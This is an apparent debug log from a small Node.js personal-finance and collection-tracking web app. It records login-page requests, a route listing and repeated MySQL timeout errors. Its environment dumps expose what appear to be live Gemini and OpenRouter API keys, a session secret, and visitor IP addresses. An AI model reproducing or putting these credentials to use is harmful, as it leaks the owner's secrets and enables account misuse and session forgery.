    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    accept: '*/*',
    referer: 'https://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '87.236.176.182',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-27T02:20:24.129Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '87.236.176.182',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)',
    HTTP_ACCEPT: '*/*',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '87.236.176.182',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-03-26T03:01:59.844Z server-connect:router Serving templateView /
2026-03-26T03:01:59.845Z server-connect:app Executing action step identify
2026-03-26T03:01:59.845Z server-connect:app options: { provider: 'security' }
2026-03-26T03:01:59.845Z server-connect:auth No login cookie found
2026-03-26T03:01:59.845Z server-connect:output identity: false
2026-03-26T03:01:59.845Z server-connect:app Executing action step restrict
2026-03-26T03:01:59.845Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-26T03:01:59.845Z server-connect:output restrict: undefined
2026-03-26T03:01:59.910Z server-connect:router Serving templateView /login
2026-03-26T03:01:59.910Z server-connect:app Executing action step identify
2026-03-26T03:01:59.911Z server-connect:app options: { provider: 'security' }
2026-03-26T03:01:59.911Z server-connect:auth No login cookie found
2026-03-26T03:01:59.911Z server-connect:output identity: false
2026-03-26T03:01:59.911Z server-connect:router Render template layouts/authentication
2026-03-26T03:01:59.911Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '77.221.141.115',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-27T03:01:59.910Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '77.221.141.115',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '77.221.141.115',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 05:55:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 05:55:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 08:12:50' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 08:12:50' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 08:36:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 08:36:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 09:06:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 09:06:51' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 11:22:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 11:22:51' as DATETIME)"
}
2026-03-26T15:52:14.210Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-03-26T15:52:17.666Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-03-26T15:52:18.529Z server-connect:setup:upload Upload middleware configured.
2026-03-26T15:52:18.529Z server-connect:secure CSRF Protection initialized
2026-03-26T15:52:18.535Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-03-26T15:52:18.536Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-03-26T15:52:18.537Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-03-26T15:52:18.539Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-03-26T15:52:18.545Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-03-26T15:52:18.549Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-03-26T15:52:18.564Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-03-26T15:52:18.576Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-03-26T15:52:18.581Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-03-26T15:52:18.582Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-03-26T15:52:18.584Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-03-26T15:52:18.588Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-03-26T15:52:18.594Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-03-26T15:52:18.603Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-03-26T15:52:18.608Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-03-26T15:52:18.681Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-03-26T15:52:18.681Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-03-26T15:52:18.687Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-03-26T15:52:18.691Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-03-26T15:52:18.695Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-03-26T15:52:18.697Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-03-26T15:52:18.705Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-03-26T15:52:18.708Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-03-26T15:52:18.713Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-03-26T15:52:18.715Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-03-26T15:52:18.719Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-03-26T15:52:18.721Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-03-26T15:52:18.724Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-03-26T15:52:18.730Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-03-26T15:52:18.733Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-03-26T15:52:18.736Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-03-26T15:52:18.736Z server-connect:setup:routes Api route /api/test(.json)? created
2026-03-26T15:52:18.741Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-03-26T15:52:18.741Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-03-26T15:52:18.749Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-03-26T15:52:18.753Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-03-26T15:52:18.753Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-03-26T15:52:18.765Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 17:27:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 17:27:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 19:33:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 19:33:20' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-26 23:44:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-26 23:44:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 00:13:21' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 00:13:21' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 00:29:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 00:29:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 03:05:22' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 03:05:22' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 04:08:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-27 04:08:23' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-27 05:38:23' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
